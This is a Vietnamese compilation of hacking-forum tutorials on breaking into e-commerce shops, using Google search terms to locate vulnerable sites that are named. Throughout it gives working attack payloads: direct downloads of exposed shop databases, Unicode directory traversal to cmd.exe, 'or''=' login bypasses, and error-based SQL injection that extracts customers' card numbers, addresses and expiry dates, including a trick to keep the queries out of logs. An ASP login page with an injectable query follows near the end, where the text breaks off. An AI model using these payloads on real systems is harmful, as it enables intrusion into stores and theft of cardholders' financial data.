Hiện các Shop DUpaypal rất nhiều và hàu như chưa fix được mấy bằng chứng là tấn công 10 site thì 8 site dính :D)

Tiến hành:
Lên http://google.com.vn/ Search với từ khóa "Powered by DUpaypal -siteduware.com"
bạn sẻ thấy rất nhiều site dính Bug này, Chọn victim để test nào
ở đây kieptinhchung chọn cái này:
http://www.xcel-leadership.com/sermon/deta...ro=147&iType=18
bi giờ thêm vào sau Nó :
../_private/DUpaypal.mdb
để Dowload file chứa thông tin về U/P của Admin về , tức là ta sẻ dùng link sau để dowload nó:
http://www.xcel-leadership.com/sermon/_private/DUpaypal.mdb
sau khi dowload về bạn sẻ xem Nó dưới dạng Accees, tìm phần User và lấy user+pass đăng nhập
thật dễ dàng , như vậy là bạn đã làm chủ Shop đó roài đó.

TUTORIAL BY HCEGROUP
I-Lỗi Tek9.asp :

Cách thức tìm : Dùng Google

Câu tìm kiếm : tek9.asp

Kết quả : Bạn tìm các trang web hiện lên , ví dụ làhttp://198.170.250.68/ tek9_login.asp

Bạn sẽ thêm intranet trước tek9.asp

http://198.170.250.68/intranet/tek9_login.asp

Được gì ? Bạn vào trang đăng nhập của người quản trị.

Tên và mật khẩu : Đều là 'or''='

Sau đó ? Bạn tự tìm hiểu vì mỗi trang có 1 sự trình bày hơi khác nhau. Trang trên cho phép bạn quản lý thông số ,
kiểu , cách thức và vài chỗ có liên quan đến cơ sở dữ liệu chứa thẻ tín dụng. Ngòai ra bạn có thể tìm lệnh Find orders
để truy tìm khu vực chức thẻ.

============================

II-Lỗi Cart32 v3.5a

Cách thức tìm : Dùng Google

Câu tìm kiếm : Cart32 v3.5a

Kết quả : Chạy các trang web có tập tin cart32.exe . Bạn sẽ nhận được 1 số thông tin

Được gì ? Chưa được gì hết

Tên và mật khẩu : Không cần

Sau đó ? Giả sử bạn kiếm được trang web sau có lỗi

http://www.connectionsmall.com/scripts/cart32.exe/

Bạn thay từ card32.exe bằng những dòng sau đây :


I)

..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\

II)

..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
III)

..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

Ví dụ :

http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\
-Nếu không chuyện gì xảy ra thì bạn thêm dòng địa chỉ sau vào cuối cùng để lấy thẻ tín dụng :

\progra~1\MWAInc\Cart32\

-Bạn sẽ thấy những dòng giống như sau :

2814659000-001001.c32

2814659000-001002.c32

2814659000-001003.c32

-Bây giờ tất những gì cần phải làm là bạn thêm 1 trong ba hoặc thử thì dùng từng cái vào cuối địa chỉ trên. Sau cùng ta
sẽ có giống như thế này :

http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\progra~1\MWAInc
\Cart32\2814659000-001001.c32

============================

III-Lỗi Commerce.cgi

Cách thức tìm : Dùng Google

Câu tìm kiếm : Commerce.cgi


Kết quả : Chạy các trang web có tập tin Commerce.cgi. Giả sử bạn kiếm được trang web sau có lỗi

http://www.warresisters.org/store/commerce.cgi

Bạn thay từ commerce.cgi bằng admin_files/commerce_user_lib.pl

Ví dụ :

http://www.warresisters.org/store/admin_files/commerce_user_lib.pl
Bạn sẽ nhận được 1 số thông tin :

$sc_sales_tax = ".0825";

$sc_sales_tax_state = "NY";

$sc_send_order_to_email = "yes";

$sc_order_log_name = "onlinebookstore.log";

$sc_send_order_to_log = "yes";
$shipping_percentage = ".15";

$sc_order_email = "wrl\@igc.org";

$sc_root_url = "http://www.warresisters.org/store";

$sc_admin_email = "lit\@warresisters.org";

$sc_domain_name_for_cookie = ".warresisters.org";

$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";

$sc_root_web_path = "/home/serve/resist/Html/Products";

$sc_path_for_cookie = "/store";

$path_to_html = "../Html";

1;

Được gì ? 1 số thông tin quan trọng về cơ sở dữ liệu

Tên và mật khẩu : Không cần

Sau đó

Xóa cái commerce_user_lib.pl đi thay bằng dòng chữ tìm ở $sc_order_log_name và ....

============================
III-Lỗi shopdisplaycategories

Cách thức tìm : Dùng Google

Câu tìm kiếm : shopdisplaycategories

Kết quả : Trong link các trang bị lỗi , bạn thay shopdisplaycategories.asp thành shopdbtest.asp

Được gì ? Bạn biết được đường dẫn để tải cơ sở dữ liệu Thẻ Tín Dụng

Tên và mật khẩu : Không cần

Sau đó : Thay shopdbtest.asp bằng phần trả lời của xdatabase ( bạn tìm ở phía trên )

============================
IV-Lỗi SQL Injection

Cách thức tìm : Dùng Google

Câu tìm kiếm : admentor

Kết quả : Bạn vào trang bị lỗi , đăng nhập với Username và Password là 'or''='

Được gì ? Bây giờ bạn nắm mọi họat động quản lý của website trong vai Admin

Tên và mật khẩu : 'or''='

Sau đó : Bạn tự tìm hiểu

============================

IV-Lỗi datasources

Cách thức tìm : Dùng Google

Câu tìm kiếm : datasources/ hay config/datasources/

Kết quả :Đường dẫn những trang bị lỗi này

Được gì ? Từ đây bạn thêm vào expire.mdb vào sau datasources/ hay config/datasources/

Tên và mật khẩu : Không cần

Sau đó : Bãn tải được kho dữ liệu có credit card


TUTORIAL BY CVHINT
-Lâu rồi không ghé qua diễn đàn chơi sợ anh em nhớNên tui xin góp một bài viết gọi là đóng góp cho diễn đàn tí xíu
với lại về việc hack tôi sẽ không tham gia một thời gian dài nên việc share hết kinh nghiệm háck shop cho anh em chỉ
còn là vấn đề thời gian vì vậy ai khoái cái dụ cc thì nên chú ý bài viết này của tôi nhé.
Bây giờ chúng ta sẽ đi vào vấn đề chính của bài viết này.Tôi biết hack shop thì ai cũng biết nhưng hack thế nào để có
cc thì rất nhiều người không biết hoặc nếu có thì chưa kịp ăn đã die vì lí do cách hack đó ai cũng biết ( Nếu tôi đoán
không lầm thì bài viết của Hiếupc ai cũng đọc qua rồi nhỉ ).Thế nên tôi sẽ chỉ cho các bạn một cách hack dạng sql mới
chưa phổ biến lắm và ít người hack được.
Nhưng xin mọi người cho tui nói vài lời.Tôi đã từng lướt qua các site của viethacker và vào trong box thảo luận về sql
xem thế nào thì có nhiều người cho ý kiến thế này "SQL là một lỗi đã bị lỗi thời".Trùi nghe mà buồi rười rượi.
Nói cho các bạn nghe SQL không hề lỗi thời chủ yếu là có biến cái lỗi thời thành lỗi phổ biến của riêng mình hay
không lại là chuyện khác.
Thôi nói nhiều mệt quá nên viết bài đây :
Vào google search từ khoá nào mà các bạn biết nhé.Tôi xin đóng góp một vài từ khoá bạn nào biết cái nào thì share
cho mọi người nhé.:

shopcategories.asp?id= /shop/ shopping product.asp?ProductID


allinurl:"shopdisplayproducts.asp?id=
allinurl:"shopdisplayproducts.asp?id=1
allinurl:"shopdisplayproducts.asp?id=2
allinurl:".com/shopdisplayproducts.asp?id=
allinurl:".net/shopdisplayproducts.asp?id=
.asp?=catalogid=
.asp?cid=
alliurl: shop$.asp?$=
shopexd.asp?
shopreviewlist.asp?id=1
shopreviewadd.asp?id=

rồi search đại một shop giả sử như thế này : www.cvhint.com/shopdisplayproducts.áp?id=1
Rồi khi thêm dấu ' vào nó không ra lỗi thì làm thế nào.Trùi không lẽ nó không có lỗi.
Thử là biết ngay thôi.Ta thay cái link khác thử xem sao.Trong vd này tôi thay cái shopdisplayproducts.asp?id=1 =
shoptellafriend.asp.asp?id=1
và thêm dấu ' lại xem sao.OOOOOOh lỗi kìa.Good.

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'catalogid = 12''.

/vshop/shoptellafriend.asp, line 183


Chài vì sao tôi gọi cái này là nâng cao các bạn nên để ý cái line của nó đó.Thường các bạn hack theo bài viết của
Hieupc thì chỉ hack được cái line có chỉ số cao thôi còn các line dưới 200 thường thì bó chiếu phải không nào.( Lúc
trước tôi gặp hoài à nên hiểu mà)
Tiếp tục dùng truy vấn mà hieupc chỉ cho các bạn đó rà số từ từ sẽ ra một chữ số đặc biệt ở đây thường là số 3 và đây
là kinh nghiệm chiến trường tui share cho anh em đây.:
line191 >>> 56
line184 >>> 47,43,53
line188 >>> 53,56, 60
line191 >>> 48
line185 >>> 86,43
line202 >>> 84,91
line208 >>> 48,57
line64 >>> 53
line211,187 >>> 43
line59 >>> 70
line58 >>> 43 --------------- Đây là các line thường gặp đó.Mai mốt chỉ cần gặp các line này thì các bạn chỉ cần rà số
đến những số ở trên là ra chữ số 3 để khai thác à.
Tiếp tục khi ra cái bảng có chứa chữ số 3 rồi chúng ta cần lấy user và pass thì nhập cái này vào :
fldusername%2b'/'%2bfldpassword
khi các bạn nhập truy vấn vào thì sẽ ra cái pass và user ở ngay số 3 mà thôi.
Còn link admin thường là shopadmin.asp nhưng cái cách này của tôi nếu lấy link là shopadmin.asp thì hầu như không
được.Tôi sẽ chỉ mọi người ở phần tiếp theo còn bây giờ đói rồi đi ăn cái đã.Mong anh em hiểu bài viết này của tôi và
thực hành thành công.Tôi viết không có cái gì gọi là dấu nghề như các bạn khác chỉ cần anh em đọc và hiểu thì sẽ có
shop ngon mà ăn dài dài thôi.Đây là một dạng nâng cao hơi nguy hiểm nên tui không thể đưa ra vd cho các bạn được
nếu ai có search thấy một site nào đó thì hãy post lên cho mọi người cùng hack.Bye
Bản quyền : cvhint và một người bạn.
TUTORIAL FROM VIETHACKER
Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn còn nhiều bạn mới làm wen với lập trình
web còn chưa biết tôi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net ...hay một vài
nơi khác .

+ SQL Injection là gì?


SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL
query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Admin) mà không
cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một
trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape,..

+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người
đều có những cách xử lý riêng

VD :
http://www.xxx.com/item.asp?item_id=1

- kiểm tra xem có lỗi không : thêm dấu ' vào :

http://www.xxx.com/item.asp?item_id=1'

Nếu thấy hiển thị lỗi :có dạng vd như thế này :
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" -->

Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:

http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--

Sẽ thu được kết quả là bảng đầu tiên:


CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'T005_CC_PACKAGES' to a column of data type int.

C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95

'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where table_name not in


('T005_CC_PACKAGES' )))--

tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó

Muốn lấy tên cột trong bảng thì làm như sau :
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))--

lấy tiếp thì lại dùng not in:

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đã


biết','tên cột đã biết')))--

Lấy giá trị trong cột :

http://www.xxx.com/item.asp?item_id=1%2bco...201%20'tên cột'%20from 'tên bảng chứa cột'))--


Mục đích của nhiều bạn là lấy hết toàn bộ thông tin về table , colum của data từ đó
để khai thác tài khoản đăng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Link dài quá
IE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape..) .
+ Có cách khác nhanh hơn :
Đăng nhập bằng user: 'or''=' pass: 'or''='
vd nếu bạn may mắn thì sẽ tìm được chỗ login vào phần quản lý web.
Tổng hợp cách hack cc căn bản nhất!
Thường các hacker hack cc từ những lỗi nghiêm trọng của các site bán hàng trên toàn thế giới (còn vô số những site
chưa fix )...các lỗi thường gặp là :
acart2_0
SalesCart Database Storage Insecurity
Trong file shopper.cgi
Cart32 Sites
VP-ASP
ProductCar
............
Dưới đây là bài viết chi tiết cách hack các lỗi đó, tất nhiên cũng ko phải tui tìm ra được các lỗi này...vì các lỗi này đựoc
tìm ra rất lâu rùi...được sang qua sang lại....đến nỗi tác giả của nó là ai cũng ko còn nhớ nỗi nữa...!!!
---------------------------------------------------------------------------------------------
Lỗi acart2_0" :
Đầu tiên các bạn vàohttp://google.com/ ( các bạn có thể vào các site tìm kiếm khác nhưhttp://av.com/ .... ) search
keyword "acart2_0" ,bạn thấy rất nhiều file mắc lỗi này,do kinh nghiệm mình khuyên các bạn nên chọn những site có
dạnghttp://url/acart2_0/ ví dụ sitehttp://www.coolrob.com/cart/acart2_0 ,gõ thêm" /acart2_0.mdb "vào đằng sau url,
enter xong bạn thấy màn hình dơnload là thành công rùi đó...bạn có thể down toàn bộ file database *.mdb của shop bán
hàng đó...
---------------------------------------------------------------------------------------------
Lỗi VP-ASP:
đầu tiên vàohttp://google.com/ search từ khoá "shopdisplaycategories" click vào site bạn sẽ thấy làhttp://www.
sitename.com/shopping/shopdisplaycategories.asp
Việc tiếp theo là chuyển urlhttp://www.sitename.com/shopping/shopdisplaycategories.asp thành urlhttp://www.
sitename.com/shopping/shopdbtest.asp nghĩa là thay shopdisplaycategories.asp bằng shopdbtest.asp rồi enter...nếu ra
tiếp thêm một trang nữa...<---ko phảt là no page .thì bạn có cơ hội down *mdb của site này đó...
sau khi ra trang mới xong,áp dụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .mdb ]
-[vp-asp site] là :http://www.sitename.com/
-[ vp-asp dir] là :shopping
-[ xDatabase + .mdb ] sẽ là shopping.mdb
nếu có màn hình save thì bạn thành công rùi đó...
-----------------------------------------------------------------------------------------------
Lỗi shopper.cgi:
vàohttp://google.com/ search từ khoá shopper.cgi hoặc shopper.execopy những url có dạng sitename.com/cgi-bin/
shopper.cgi?
sau đó paste vào browse và thêm dòng search=action&keywords=ccpower &template=shopper.conf hoặc hoặc thêm
dòng search=action&keywords=ccpower &template=order1.log vào đằng sau,nếu may mắn bạn sẽ tìm thấy
cc----------------------------------- Lỗi ProductCart:
Search với từ khóa allinurl: /productcart/

http://www.ackits.com/ProductCart/pc/msg.asp?
Xóa tất cả từ sau ProductCart đi gữ lại đoạn nàyhttp://www.ackits.com/ProductCart/ sau đó thêm vào sau database/
EIPC.mdb sẽ thànhhttp://www.ackits.com/ProductCart/database/EIPC.mdb đến lúc này ta sẽ download được file .mdb
về sau khi download về rùi thì chắc mọi người biết phải làm gì rồi chứ
................................................
Lỗi Cart32.exe:
vào google.com ,search từ khóa "Cart32.exe v3"đầu tiên vàohttp://www.sitename.com/cgi-bin/cart32.exe/sitename
Lấy Credit Cards :http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txt
hoặc :http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt
Hack CC thông qua lỗi SalesCart Database Storage Insecurity:
Tổng quát: Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật, mã hóa hay cất giữ cẩn
thận nên bạn hoàn toàn có thể lấy chúng một cách dễ dàng
Lưu ý: đôi khi với thực tế, 1 số link có thể khác đi, không phải lúc nào cũng hoàn toàn đúng, dữ liệu có khi bao gồm cả
CRD (Credit Card) nên mọi việc phải qua proxy (nếu không có proxy thì có thể ra dịch vụ...)
Khai thác: Hãy sử dụng 1 trong những link sau:
www.victim.com/fpdb/shop.mdb
www.victim.com/shoponline/fpdb/shop.mdb
www.victim.com/database/metacart.mdb
www.victim.com/shopping/database/metacart.mdb
www.victim.com/shop/database/metacart.mdb
www.victim.com/metacart/database/metacart.mdb
www.victim.com/mcartfree/database/metacart.mdb
www.victim.com/ASP/cart/database/metacart.mdb
Ví dụ: site84vn.com có thể download cc từ đây:www.84vn.com/database/metacart.mdb
Có nghĩa là database không hề có 1 chút bảo mật nào cả. Download vô tư ! Trong database có thể bao gồm: name,
surname, address, e-mail, phone number, credit card number, company name.....
Bạn có thể khai thác dữ liệu này, nhưng trong thực tế, mọi việc không phải lúc nào cũng suôn sẻ cả, bạn hãy tưởng
tượng mỗi server có một cấu trúc riêng, ví dụ như đường dẫn không phải lúc nào cũng là fpdb/... hay như những link
trên, hãy tận dụng lỗi và thử từng cái một , nhiều khi làwww.victim.com/muaban/fpdb/shop.mdb vì vậy nếu bạn xài
cách này hãy linh hoạt trong link tuỳ vào từng site! <----copy by h4a......
lên google tìm từ khóa
"inurl:commerce.cgi"
Rồi okie số địa chỉ online đang chờ đón
vd:
ta có site
<http://www.warresisters.org/store/commerce.cgi>?
xóa cái commerce.cgi? đi thay bằng Admin_files/commerce_user_lib.pl
ta sẽ được
## This file contains the user specific variables
## necessary for Commerce.cgi

$sc_sales_tax = ".0825";
$sc_sales_tax_state = "NY";
$sc_send_order_to_email = "yes";
$sc_order_log_name = "onlinebookstore.log";
$sc_send_order_to_log = "yes";
$shipping_percentage = ".15";
$sc_order_email = "wrl\@igc.org";
$sc_root_url = "http://www.warresisters.org/store";
$sc_admin_email = "lit\@warresisters.org";
$sc_domain_name_for_cookie = ".warresisters.org";
$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";
$sc_root_web_path = "/home/serve/resist/Html/Products";
$sc_path_for_cookie = "/store";
$path_to_html = "../Html";
1;
xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_log_name ) và ....
Việc tiếp theo là thuộc về bạn
------------------------------------------------------------------------------------------------
Vào google gõ từ khoá tek9.aspta được link có dạng tương tự như thế này
https://ionicpurifier.com/tek9.asp?pg=orders&mode=search
bắy đầu từ /tek9.asp/ gõ thêm /intranethttps://ionicpurifier.com/intranet/tek9.asp...ers&mode=search
Sau đó đăng nhập với user và pass 'or''='nếu may mắn thì sẽ vào được , và ăn cc tha hồ
còn rất nhiều site bị lỗi này
------------------------------------------------------------------------------------------------
Search keyword in google.com.vn : " Shoping /admin "

http://shopping.richardhealey.com/admin_login.asp

http://families-online.org/admin_login.asp

user/pass : ' or 1=1--

Code của site cho phép exploit lên SQL Server .


------------------------------------------------------------------------------------------------

Hack shop qua lỗi SQL server injection


gioi thieu so qua cho anh em biet ve hack sql server inject ha !
hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the
thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi
value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh
em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`.
o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thi
noi nhieu,noi dai dong lam...

Detail:
search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh
em thuong dung nhu
http://www.google.com/ hoachttp://www.froogle.google.com/
http://www.av.com/
http://www.alltheweb.com/
yahoo.com
......
ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl:
"/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra
tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac
JET, hoac VB.net....net va de nay can phai co su no luc cua anh em trong viec test.
ok
co' duoc muc tieu roi chon dai 1 thang,vd:
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
okay co muc tieu roi bat dau test no ha

http://www.mcmessentials.com.au/shop/viewp...tegoryid=5'

neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/shop/include/viewproduct.asp, line 3

okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet.

ok bat dau tim table

co the test theo cac cach sau ma em da biet


;having 1=1--sp_password
'having 1=1--sp_password
"having 1=1--sp_password
(having 1=1--sp_password
)having 1=1--sp_password
(space)having 1=1--_sp_password (%20 la space la khoang trang day)

thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok
*luu y' cac anh em 1 dieu rat can thiet
1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de
marks log tranh bi phat hien

http://www.mcmessentials.com.au/shop/viewp...=1--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY clause.

/shop/include/viewproduct.asp, line 9

ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories

bay gio di lay user_name cua shop thong qua cau truy van sau
%2bconvert(int,user_name())--sp_password
day du la`

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to a
column of data type int.

/shop/include/viewproduct.asp, line 3
'braunshop' la truong user_name cua shop
*luu y
2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can
quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi
den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai
nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang
nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi

ok bay gio ta se lan luot lay cac table tren column label
lay table thu 1 thong qua cau truy van sau
%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_password
day du la`

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to a
column of data type int.

/shop/include/viewproduct.asp, line 3

ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1')

cau truy van nhu sau:

%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%
20table_name%20not%
20in('categorieslist')))--sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column
of data type int.

/shop/include/viewproduct.asp, line 3
table 2 la` 'allorders'
muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay
%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%
20table_name%20not%
20in('categorieslist','allorders')))--sp_password

day la tat ca cac table cua shop vua lay duoc

'categorieslist','allorders','categories','categor ymembers','deliveryZones','dtproperties','essorder s','fullorder','keywords',


'optiongroupmembers','optiongroups','optiongroupsl ist','optionmembers','options','optionslist','orde
roptions','orderoptions-options','orderproducts','orderproducts-products','orders','products','products-
categories','products-options','searchresults','sysconstraints','syssegm ents'
ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac
column,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table
nao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders'
ok ta lay no thoi
cau truy van lay column dau tien la`
1---lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang
%2bconvert(int,(select top 1 column_name from information_schema.columns))--sp_password
duoc column1 roi thi dung where column_name not in('column1') ok ha
2--lay column tren table da xac dinh truoc
cau truy van nhu sau vi du toi lay column tren table orders

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders'))--


sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a column
of data type int.

/shop/include/viewproduct.asp, line 3
column dau tien la` 'orderid'
lay column thu 2 thi can them and column_name not in('orderid')

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' and


column_name not in('orderid')))--sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a column
of data type int.

/shop/include/viewproduct.asp, line 3

va lan luot lay cho het cac column cua table 'orders'

khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay
cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac
field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1
kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca
may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi

lay cc dau tien


%2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:%20'%2baddress%
2b'%20 suburb:%20'%
2bsuburb%2b'%20state:%20'%2bstate%2b'%20zip:%20'%2 bpostcode%2b'%20country:%20'%2bcountry%2b'%
20phone :%20'%2bphone%
2b'%20email:%20'%2bemail%2b'%20cardnumber:%20'%2bc ardnumber%2b'%20expireymonth:%20'%
2bexpirymonth%2b '%20year:%20'%
2bexpiryyear%20from%20orders))--sp_password

lay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien')
va lan luot lay het cac credit card co tren do'
nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko
nham muc dich pha hoai bat cu ai .
Hack Sql Inject nâng cao

Các bạn thử xem một câu truy vấn SQL:

select id, forename, surname from authors

thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã các
dòng trong table author.Xem câu truy vấn sau:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl với
forename = 'john' and surname = 'smith'

Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu:

Forename: jo'hn

Surname: smith

Câu truy vấn trở thành:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi:

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.

Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này
attacker có thể xoá dữ liệu của bạn như sau:

Forename: jo'; drop table authors--

Table author sẽ bị xóa>nguy hiểm phải không

Nhìn vào đoạn code asp sau:đây là một form login


<HTML>

<HEAD>

<TITLE>Login Page</TITLE>

</HEAD>

<BODY bgcolor='000000' text='cccccc'>

<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

<TABLE>

<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%

Page 4

width=100></INPUT></TD></TR>

<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%

width=100></INPUT></TD></TR>
</TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM>

</FONT>

</BODY>

</HTML>

Đây là code 'process_login.asp'

<HTML>

<BODY bgcolor='000000' text='ffffff'>

<FONT Face='tahoma' color='ffffff'>

<STYLE>

p { font-size=20pt ! important}

font { font-size=20pt ! important}


</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )

if( Request.form("debug") == "true" )

Response.write( str );

function Login( cn )

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF)

rso.close();
%>

<FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>
<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

else

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

Welcome,

<% Response.write(rso("Username"));

Response.write( "</BODY></HTML>" );

Response.end
}

function Main()

//Set up connection

var username

var cn = Server.createobject( "ADODB.Connection" );


cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

username = new String( Request.form("username") );

if( username.length > 0)

Login( cn );

cn.close();

Main();

%>

Đây là câu truy vấn SQL:

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

nếu hacker vào như sau:

